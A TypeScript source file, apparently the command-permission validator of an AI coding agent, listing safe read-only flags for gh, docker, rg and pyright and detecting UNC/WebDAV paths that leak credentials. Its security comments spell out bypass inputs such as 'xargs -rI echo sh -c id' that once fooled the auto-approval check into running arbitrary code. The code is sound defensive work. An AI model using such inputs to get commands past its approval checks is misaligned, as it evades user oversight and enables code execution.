'--log-failed': 'none', // Show log for failed steps only
'--exit-status': 'none', // Exit with run's status code
'--verbose': 'none', // Show job steps
'-v': 'none', // NOTE: -v is --verbose here, NOT --web
'--json': 'string', // JSON field selection
'--repo': 'string', // Target repository
'-R': 'string',
'--job': 'string', // View a specific job by ID
'-j': 'string',
'--attempt': 'number', // View a specific attempt
'-a': 'number',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh auth status is read-only β displays authentication state
// NOTE: --show-token/-t intentionally excluded (leaks secrets)
'gh auth status': {
safeFlags: {
'--active': 'none', // Display active account only
'-a': 'none',
'--hostname': 'string', // Check specific hostname
'-h': 'string',
'--json': 'string', // JSON field selection
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh pr status is read-only β shows your PRs
'gh pr status': {
safeFlags: {
'--conflict-status': 'none', // Display merge conflict status
'-c': 'none',
'--json': 'string', // JSON field selection
'--repo': 'string', // Target repository
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh issue status is read-only β shows your issues
'gh issue status': {
safeFlags: {
'--json': 'string', // JSON field selection
'--repo': 'string', // Target repository
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh release list is read-only β lists releases
'gh release list': {
safeFlags: {
'--exclude-drafts': 'none', // Exclude draft releases
'--exclude-pre-releases': 'none', // Exclude pre-releases
'--json': 'string', // JSON field selection
'--limit': 'number', // Max results
'-L': 'number',
'--order': 'string', // Order: asc|desc
'-O': 'string',
'--repo': 'string', // Target repository
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh release view is read-only β displays release details
// NOTE: --web/-w intentionally excluded (opens browser)
'gh release view': {
safeFlags: {
'--json': 'string', // JSON field selection
'--repo': 'string', // Target repository
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh workflow list is read-only β lists workflow files
'gh workflow list': {
safeFlags: {
'--all': 'none', // Include disabled workflows
'-a': 'none',
'--json': 'string', // JSON field selection
'--limit': 'number', // Max results
'-L': 'number',
'--repo': 'string', // Target repository
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh workflow view is read-only β displays workflow summary
// NOTE: --web/-w intentionally excluded (opens browser)
'gh workflow view': {
safeFlags: {
'--ref': 'string', // Branch/tag with workflow version
'-r': 'string',
'--yaml': 'none', // View workflow yaml
'-y': 'none',
'--repo': 'string', // Target repository
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh label list is read-only β lists labels
// NOTE: --web/-w intentionally excluded (opens browser)
'gh label list': {
safeFlags: {
'--json': 'string', // JSON field selection
'--limit': 'number', // Max results
'-L': 'number',
'--order': 'string', // Order: asc|desc
'--search': 'string', // Search label names
'-S': 'string',
'--sort': 'string', // Sort: created|name
'--repo': 'string', // Target repository
'-R': 'string',
},
additionalCommandIsDangerousCallback: ghIsDangerousCallback,
},
// gh search repos is read-only β searches repositories
// NOTE: --web/-w intentionally excluded (opens browser)
'gh search repos': {
safeFlags: {
'--archived': 'none', // Filter by archived state
'--created': 'string', // Filter by creation date
'--followers': 'string', // Filter by followers count
'--forks': 'string', // Filter by forks count
'--good-first-issues': 'string', // Filter by good first issues
'--help-wanted-issues': 'string', // Filter by help wanted issues
'--include-forks': 'string', // Include forks: false|true|only
'--json': 'string', // JSON field selection
'--language': 'string', // Filter by language
'--license': 'string', // Filter by license
'--limit': 'number', // Max results
'-L': 'number',
'--match': 'string', // Restrict to field: name|description|readme
'--number-topics': 'string', // Filter by number of topics
'--order': 'string', // Order: asc|desc
'--owner': 'string', // Filter by owner
'--size': 'string', // Filter by size range
'--sort': 'string', // Sort: forks|help-wanted-issues|stars|updated
'--stars': 'string', // Filter by stars
'--topic': 'string', // Filter by topic
'--updated': 'string', // Filter by update date
'--visibility': 'string', // Filter: public|private|internal
},
},
// gh search issues is read-only β searches issues
// NOTE: --web/-w intentionally excluded (opens browser)
'gh search issues': {
safeFlags: {
'--app': 'string', // Filter by GitHub App author
'--assignee': 'string', // Filter by assignee
'--author': 'string', // Filter by author
'--closed': 'string', // Filter by closed date
'--commenter': 'string', // Filter by commenter
'--comments': 'string', // Filter by comment count
'--created': 'string', // Filter by creation date
'--include-prs': 'none', // Include PRs in results
'--interactions': 'string', // Filter by interactions count
'--involves': 'string', // Filter by involvement
'--json': 'string', // JSON field selection
'--label': 'string', // Filter by label
'--language': 'string', // Filter by language
'--limit': 'number', // Max results
'-L': 'number',
'--locked': 'none', // Filter locked conversations
'--match': 'string', // Restrict to field: title|body|comments
'--mentions': 'string', // Filter by user mentions
'--milestone': 'string', // Filter by milestone
'--no-assignee': 'none', // Filter missing assignee
'--no-label': 'none', // Filter missing label
'--no-milestone': 'none', // Filter missing milestone
'--no-project': 'none', // Filter missing project
'--order': 'string', // Order: asc|desc
'--owner': 'string', // Filter by owner
'--project': 'string', // Filter by project
'--reactions': 'string', // Filter by reaction count
'--repo': 'string', // Filter by repository
'-R': 'string',
'--sort': 'string', // Sort field
'--state': 'string', // Filter: open|closed
'--team-mentions': 'string', // Filter by team mentions
'--updated': 'string', // Filter by update date
'--visibility': 'string', // Filter: public|private|internal
},
},
// gh search prs is read-only β searches pull requests
// NOTE: --web/-w intentionally excluded (opens browser)
'gh search prs': {
safeFlags: {
'--app': 'string', // Filter by GitHub App author
'--assignee': 'string', // Filter by assignee
'--author': 'string', // Filter by author
'--base': 'string', // Filter by base branch
'-B': 'string',
'--checks': 'string', // Filter by check status
'--closed': 'string', // Filter by closed date
'--commenter': 'string', // Filter by commenter
'--comments': 'string', // Filter by comment count
'--created': 'string', // Filter by creation date
'--draft': 'none', // Filter draft PRs
'--head': 'string', // Filter by head branch
'-H': 'string',
'--interactions': 'string', // Filter by interactions count
'--involves': 'string', // Filter by involvement
'--json': 'string', // JSON field selection
'--label': 'string', // Filter by label
'--language': 'string', // Filter by language
'--limit': 'number', // Max results
'-L': 'number',
'--locked': 'none', // Filter locked conversations
'--match': 'string', // Restrict to field: title|body|comments
'--mentions': 'string', // Filter by user mentions
'--merged': 'none', // Filter merged PRs
'--merged-at': 'string', // Filter by merge date
'--milestone': 'string', // Filter by milestone
'--no-assignee': 'none', // Filter missing assignee
'--no-label': 'none', // Filter missing label
'--no-milestone': 'none', // Filter missing milestone
'--no-project': 'none', // Filter missing project
'--order': 'string', // Order: asc|desc
'--owner': 'string', // Filter by owner
'--project': 'string', // Filter by project
'--reactions': 'string', // Filter by reaction count
'--repo': 'string', // Filter by repository
'-R': 'string',
'--review': 'string', // Filter by review status
'--review-requested': 'string', // Filter by review requested
'--reviewed-by': 'string', // Filter by reviewer
'--sort': 'string', // Sort field
'--state': 'string', // Filter: open|closed
'--team-mentions': 'string', // Filter by team mentions
'--updated': 'string', // Filter by update date
'--visibility': 'string', // Filter: public|private|internal
},
},
// gh search commits is read-only β searches commits
// NOTE: --web/-w intentionally excluded (opens browser)
'gh search commits': {
safeFlags: {
'--author': 'string', // Filter by author
'--author-date': 'string', // Filter by authored date
'--author-email': 'string', // Filter by author email
'--author-name': 'string', // Filter by author name
'--committer': 'string', // Filter by committer
'--committer-date': 'string', // Filter by committed date
'--committer-email': 'string', // Filter by committer email
'--committer-name': 'string', // Filter by committer name
'--hash': 'string', // Filter by commit hash
'--json': 'string', // JSON field selection
'--limit': 'number', // Max results
'-L': 'number',
'--merge': 'none', // Filter merge commits
'--order': 'string', // Order: asc|desc
'--owner': 'string', // Filter by owner
'--parent': 'string', // Filter by parent hash
'--repo': 'string', // Filter by repository
'-R': 'string',
'--sort': 'string', // Sort: author-date|committer-date
'--tree': 'string', // Filter by tree hash
'--visibility': 'string', // Filter: public|private|internal
},
},
// gh search code is read-only β searches code
// NOTE: --web/-w intentionally excluded (opens browser)
'gh search code': {
safeFlags: {
'--extension': 'string', // Filter by file extension
'--filename': 'string', // Filter by filename
'--json': 'string', // JSON field selection
'--language': 'string', // Filter by language
'--limit': 'number', // Max results
'-L': 'number',
'--match': 'string', // Restrict to: file|path
'--owner': 'string', // Filter by owner
'--repo': 'string', // Filter by repository
'-R': 'string',
'--size': 'string', // Filter by size range
},
},
}
// ---------------------------------------------------------------------------
// DOCKER_READ_ONLY_COMMANDS β docker inspect/logs read-only commands
// ---------------------------------------------------------------------------
export const DOCKER_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> =
{
'docker logs': {
safeFlags: {
'--follow': 'none',
'-f': 'none',
'--tail': 'string',
'-n': 'string',
'--timestamps': 'none',
'-t': 'none',
'--since': 'string',
'--until': 'string',
'--details': 'none',
},
},
'docker inspect': {
safeFlags: {
'--format': 'string',
'-f': 'string',
'--type': 'string',
'--size': 'none',
'-s': 'none',
},
},
}
// ---------------------------------------------------------------------------
// RIPGREP_READ_ONLY_COMMANDS β rg (ripgrep) read-only search
// ---------------------------------------------------------------------------
export const RIPGREP_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> =
{
rg: {
safeFlags: {
// Pattern flags
'-e': 'string', // Pattern to search for
'--regexp': 'string',
'-f': 'string', // Read patterns from file
// Common search options
'-i': 'none', // Case insensitive
'--ignore-case': 'none',
'-S': 'none', // Smart case
'--smart-case': 'none',
'-F': 'none', // Fixed strings
'--fixed-strings': 'none',
'-w': 'none', // Word regexp
'--word-regexp': 'none',
'-v': 'none', // Invert match
'--invert-match': 'none',
// Output options
'-c': 'none', // Count matches
'--count': 'none',
'-l': 'none', // Files with matches
'--files-with-matches': 'none',
'--files-without-match': 'none',
'-n': 'none', // Line number
'--line-number': 'none',
'-o': 'none', // Only matching
'--only-matching': 'none',
'-A': 'number', // After context
'--after-context': 'number',
'-B': 'number', // Before context
'--before-context': 'number',
'-C': 'number', // Context
'--context': 'number',
'-H': 'none', // With filename
'-h': 'none', // No filename
'--heading': 'none',
'--no-heading': 'none',
'-q': 'none', // Quiet
'--quiet': 'none',
'--column': 'none',
// File filtering
'-g': 'string', // Glob
'--glob': 'string',
'-t': 'string', // Type
'--type': 'string',
'-T': 'string', // Type not
'--type-not': 'string',
'--type-list': 'none',
'--hidden': 'none',
'--no-ignore': 'none',
'-u': 'none', // Unrestricted
// Common options
'-m': 'number', // Max count per file
'--max-count': 'number',
'-d': 'number', // Max depth
'--max-depth': 'number',
'-a': 'none', // Text (search binary files)
'--text': 'none',
'-z': 'none', // Search zip
'-L': 'none', // Follow symlinks
'--follow': 'none',
// Display options
'--color': 'string',
'--json': 'none',
'--stats': 'none',
// Help and version
'--help': 'none',
'--version': 'none',
'--debug': 'none',
// Special argument separator
'--': 'none',
},
},
}
// ---------------------------------------------------------------------------
// PYRIGHT_READ_ONLY_COMMANDS β pyright static type checker
// ---------------------------------------------------------------------------
export const PYRIGHT_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> =
{
pyright: {
respectsDoubleDash: false, // pyright treats -- as a file path, not end-of-options
safeFlags: {
'--outputjson': 'none',
'--project': 'string',
'-p': 'string',
'--pythonversion': 'string',
'--pythonplatform': 'string',
'--typeshedpath': 'string',
'--venvpath': 'string',
'--level': 'string',
'--stats': 'none',
'--verbose': 'none',
'--version': 'none',
'--dependencies': 'none',
'--warnings': 'none',
},
additionalCommandIsDangerousCallback: (
_rawCommand: string,
args: string[],
) => {
// Check if --watch or -w appears as a standalone token (flag)
return args.some(t => t === '--watch' || t === '-w')
},
},
}
// ---------------------------------------------------------------------------
// EXTERNAL_READONLY_COMMANDS β cross-shell read-only commands
// Only commands that work identically in bash and PowerShell on Windows.
// Unix-specific commands (cat, head, wc, etc.) belong in BashTool's READONLY_COMMANDS.
// ---------------------------------------------------------------------------
export const EXTERNAL_READONLY_COMMANDS: readonly string[] = [
// Cross-platform external tools that work the same in bash and PowerShell on Windows
'docker ps',
'docker images',
] as const
// ---------------------------------------------------------------------------
// UNC path detection (shared across Bash and PowerShell)
// ---------------------------------------------------------------------------
/**
* Check if a path or command contains a UNC path that could trigger network
* requests (NTLM/Kerberos credential leakage, WebDAV attacks).
*
* This function detects:
* - Basic UNC paths: \\server\share, \\foo.com\file
* - WebDAV patterns: \\server@SSL@8443\, \\server@8443@SSL\, \\server\DavWWWRoot\
* - IP-based UNC: \\192.168.1.1\share, \\[2001:db8::1]\share
* - Forward-slash variants: //server/share
*
* @param pathOrCommand The path or command string to check
* @returns true if the path/command contains potentially vulnerable UNC paths
*/
export function containsVulnerableUncPath(pathOrCommand: string): boolean {
// Only check on Windows platform
if (getPlatform() !== 'windows') {
return false
}
// 1. Check for general UNC paths with backslashes
// Pattern matches: \\server, \\server\share, \\server/share, \\server@port\share
// Uses [^\s\\/]+ for hostname to catch Unicode homoglyphs and other non-ASCII chars
// Trailing accepts both \ and / since Windows treats both as path separators
const backslashUncPattern = /\\\\[^\s\\/]+(?:@(?:\d+|ssl))?(?:[\\/]|$|\s)/i
if (backslashUncPattern.test(pathOrCommand)) {
return true
}
// 2. Check for forward-slash UNC paths
// Pattern matches: //server, //server/share, //server\share, //192.168.1.1/share
// Uses negative lookbehind (?<!:) to exclude URLs (https://, http://, ftp://)
// while catching // preceded by quotes, =, or any other non-colon character.
// Trailing accepts both / and \ since Windows treats both as path separators
const forwardSlashUncPattern =
// eslint-disable-next-line custom-rules/no-lookbehind-regex -- .test() on short command strings
/(?<!:)\/\/[^\s\\/]+(?:@(?:\d+|ssl))?(?:[\\/]|$|\s)/i
if (forwardSlashUncPattern.test(pathOrCommand)) {
return true
}
// 3. Check for mixed-separator UNC paths (forward slash + backslashes)
// On Windows/Cygwin, /\ is equivalent to // since both are path separators.
// In bash, /\\server becomes /\server after escape processing, which is a UNC path.
// Requires 2+ backslashes after / because a single backslash just escapes the next char
// (e.g., /\a β /a after bash processing, which is NOT a UNC path).
const mixedSlashUncPattern = /\/\\{2,}[^\s\\/]/
if (mixedSlashUncPattern.test(pathOrCommand)) {
return true
}
// 4. Check for mixed-separator UNC paths (backslashes + forward slash)
// \\/server in bash becomes \/server after escape processing, which is a UNC path
// on Windows since both \ and / are path separators.
const reverseMixedSlashUncPattern = /\\{2,}\/[^\s\\/]/
if (reverseMixedSlashUncPattern.test(pathOrCommand)) {
return true
}
// 5. Check for WebDAV SSL/port patterns
// Examples: \\server@SSL@8443\path, \\server@8443@SSL\path
if (/@SSL@\d+/i.test(pathOrCommand) || /@\d+@SSL/i.test(pathOrCommand)) {
return true
}
// 6. Check for DavWWWRoot marker (Windows WebDAV redirector)
// Example: \\server\DavWWWRoot\path
if (/DavWWWRoot/i.test(pathOrCommand)) {
return true
}
// 7. Check for UNC paths with IPv4 addresses (explicit check for defense-in-depth)
// Examples: \\192.168.1.1\share, \\10.0.0.1\path
if (
/^\\\\(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[\\/]/.test(pathOrCommand) ||
/^\/\/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[\\/]/.test(pathOrCommand)
) {
return true
}
// 8. Check for UNC paths with bracketed IPv6 addresses (explicit check for defense-in-depth)
// Examples: \\[2001:db8::1]\share, \\[::1]\path
if (
/^\\\\(\[[\da-fA-F:]+\])[\\/]/.test(pathOrCommand) ||
/^\/\/(\[[\da-fA-F:]+\])[\\/]/.test(pathOrCommand)
) {
return true
}
return false
}
// ---------------------------------------------------------------------------
// Flag validation utilities
// ---------------------------------------------------------------------------
// Regex pattern to match valid flag names (letters, digits, underscores, hyphens)
export const FLAG_PATTERN = /^-[a-zA-Z0-9_-]/
/**
* Validates flag arguments based on their expected type
*/
export function validateFlagArgument(
value: string,
argType: FlagArgType,
): boolean {
switch (argType) {
case 'none':
return false // Should not have been called for 'none' type
case 'number':
return /^\d+$/.test(value)
case 'string':
return true // Any string including empty is valid
case 'char':
return value.length === 1
case '{}':
return value === '{}'
case 'EOF':
return value === 'EOF'
default:
return false
}
}
/**
* Validates the flags/arguments portion of a tokenized command against a config.
* This is the flag-walking loop extracted from BashTool's isCommandSafeViaFlagParsing.
*
* @param tokens - Pre-tokenized args (from bash shell-quote or PowerShell AST)
* @param startIndex - Where to start validating (after command tokens)
* @param config - The safe flags config
* @param options.commandName - For command-specific handling (git numeric shorthand, grep/rg attached numeric)
* @param options.rawCommand - For additionalCommandIsDangerousCallback
* @param options.xargsTargetCommands - If provided, enables xargs-style target command detection
* @returns true if all flags are valid, false otherwise
*/
export function validateFlags(
tokens: string[],
startIndex: number,
config: ExternalCommandConfig,
options?: {
commandName?: string
rawCommand?: string
xargsTargetCommands?: string[]
},
): boolean {
let i = startIndex
while (i < tokens.length) {
let token = tokens[i]
if (!token) {
i++
continue
}
// Special handling for xargs: once we find the target command, stop validating flags
if (
options?.xargsTargetCommands &&
options.commandName === 'xargs' &&
(!token.startsWith('-') || token === '--')
) {
if (token === '--' && i + 1 < tokens.length) {
i++
token = tokens[i]
}
if (token && options.xargsTargetCommands.includes(token)) {
break
}
return false
}
if (token === '--') {
// SECURITY: Only break if the tool respects POSIX `--` (default: true).
// Tools like pyright don't respect `--` β they treat it as a file path
// and continue processing subsequent tokens as flags. Breaking here
// would let `pyright -- --createstub os` auto-approve a file-write flag.
if (config.respectsDoubleDash !== false) {
i++
break // Everything after -- is arguments
}
// Tool doesn't respect --: treat as positional arg, keep validating
i++
continue
}
if (token.startsWith('-') && token.length > 1 && FLAG_PATTERN.test(token)) {
// Handle --flag=value format
// SECURITY: Track whether the token CONTAINS `=` separately from
// whether the value is non-empty. `-E=` has `hasEquals=true` but
// `inlineValue=''` (falsy). Without `hasEquals`, the falsy check at
// line ~1813 would fall through to "consume next token" β but GNU
// getopt for short options with mandatory arg sees `-E=` as `-E` with
// ATTACHED arg `=` (it doesn't strip `=` for short options). Parser
// differential: validator advances 2 tokens, GNU advances 1.
//
// Attack: `xargs -E= EOF echo foo` (zero permissions)
// Validator: inlineValue='' falsy β consumes EOF as -E arg β i+=2 β
// echo β SAFE_TARGET_COMMANDS_FOR_XARGS β break β AUTO-ALLOWED
// GNU xargs: -E attached arg=`=` β EOF is TARGET COMMAND β CODE EXEC
//
// Fix: when hasEquals is true, use inlineValue (even if empty) as the
// provided arg. validateFlagArgument('', 'EOF') β false β rejected.
// This is correct for all arg types: the user explicitly typed `=`,
// indicating they provided a value (empty). Don't consume next token.
const hasEquals = token.includes('=')
const [flag, ...valueParts] = token.split('=')
const inlineValue = valueParts.join('=')
if (!flag) {
return false
}
const flagArgType = config.safeFlags[flag]
if (!flagArgType) {
// Special case: git commands support -<number> as shorthand for -n <number>
if (options?.commandName === 'git' && flag.match(/^-\d+$/)) {
// This is equivalent to -n flag which is safe for git log/diff/show
i++
continue
}
// Handle flags with directly attached numeric arguments (e.g., -A20, -B10)
// Only apply this special handling to grep and rg commands
if (
(options?.commandName === 'grep' || options?.commandName === 'rg') &&
flag.startsWith('-') &&
!flag.startsWith('--') &&
flag.length > 2
) {
const potentialFlag = flag.substring(0, 2) // e.g., '-A' from '-A20'
const potentialValue = flag.substring(2) // e.g., '20' from '-A20'
if (config.safeFlags[potentialFlag] && /^\d+$/.test(potentialValue)) {
// This is a flag with attached numeric argument
const flagArgType = config.safeFlags[potentialFlag]
if (flagArgType === 'number' || flagArgType === 'string') {
// Validate the numeric value
if (validateFlagArgument(potentialValue, flagArgType)) {
i++
continue
} else {
return false // Invalid attached value
}
}
}
}
// Handle combined single-letter flags like -nr
// SECURITY: We must NOT allow any bundled flag that takes an argument.
// GNU getopt bundling semantics: when an arg-taking option appears LAST
// in a bundle with no trailing chars, the NEXT argv element is consumed
// as its argument. So `xargs -rI echo sh -c id` is parsed by xargs as:
// -r (no-arg) + -I with replace-str=`echo`, target=`sh -c id`
// Our naive handler previously only checked EXISTENCE in safeFlags (both
// `-r: 'none'` and `-I: '{}'` are truthy), then `i++` consumed ONE token.
// This created a parser differential: our validator thought `echo` was
// the xargs target (in SAFE_TARGET_COMMANDS_FOR_XARGS β break), but
// xargs ran `sh -c id`. ARBITRARY RCE with only Bash(echo:*) or less.
//
// Fix: require ALL bundled flags to have arg type 'none'. If any bundled
// flag requires an argument (non-'none' type), reject the whole bundle.
// This is conservative β it blocks `-rI` (xargs) entirely, but that's
// the safe direction. Users who need `-I` can use it unbundled: `-r -I {}`.
if (flag.startsWith('-') && !flag.startsWith('--') && flag.length > 2) {
for (let j = 1; j < flag.length; j++) {
const singleFlag = '-' + flag[j]
const flagType = config.safeFlags[singleFlag]
if (!flagType) {
return false // One of the combined flags is not safe
}
// SECURITY: Bundled flags must be no-arg type. An arg-taking flag
// in a bundle consumes the NEXT token in GNU getopt, which our
// handler doesn't model. Reject to avoid parser differential.
if (flagType !== 'none') {
return false // Arg-taking flag in a bundle β cannot safely validate
}
}
i++
continue
} else {
return false // Unknown flag
}
}
// Validate flag arguments
if (flagArgType === 'none') {
// SECURITY: hasEquals covers `-FLAG=` (empty inline). Without it,
// `-FLAG=` with 'none' type would pass (inlineValue='' is falsy).
if (hasEquals) {
return false // Flag should not have a value
}
i++
} else {
let argValue: string
// SECURITY: Use hasEquals (not inlineValue truthiness). `-E=` must
// NOT consume next token β the user explicitly provided empty value.
if (hasEquals) {
argValue = inlineValue
i++
} else {
// Check if next token is the argument
if (
i + 1 >= tokens.length ||
(tokens[i + 1] &&
tokens[i + 1]!.startsWith('-') &&
tokens[i + 1]!.length > 1 &&
FLAG_PATTERN.test(tokens[i + 1]!))
) {
return false // Missing required argument
}
argValue = tokens[i + 1] || ''
i += 2
}
// Defense-in-depth: For string arguments, reject values that start with '-'
// This prevents type confusion attacks where a flag marked as 'string'
// but actually takes no arguments could be used to inject dangerous flags
// Exception: git's --sort flag can have values starting with '-' for reverse sorting
if (flagArgType === 'string' && argValue.startsWith('-')) {
// Special case: git's --sort flag allows - prefix for reverse sorting
if (
flag === '--sort' &&
options?.commandName === 'git' &&
argValue.match(/^-[a-zA-Z]/)
) {
// This looks like a reverse sort (e.g., -refname, -version:refname)
// Allow it if the rest looks like a valid sort key
} else {
return false
}
}
// Validate argument based on type
if (!validateFlagArgument(argValue, flagArgType)) {
return false
}
}
} else {
// Non-flag argument (like revision specs, file paths, etc.) - this is allowed
i++
}
}
return true
}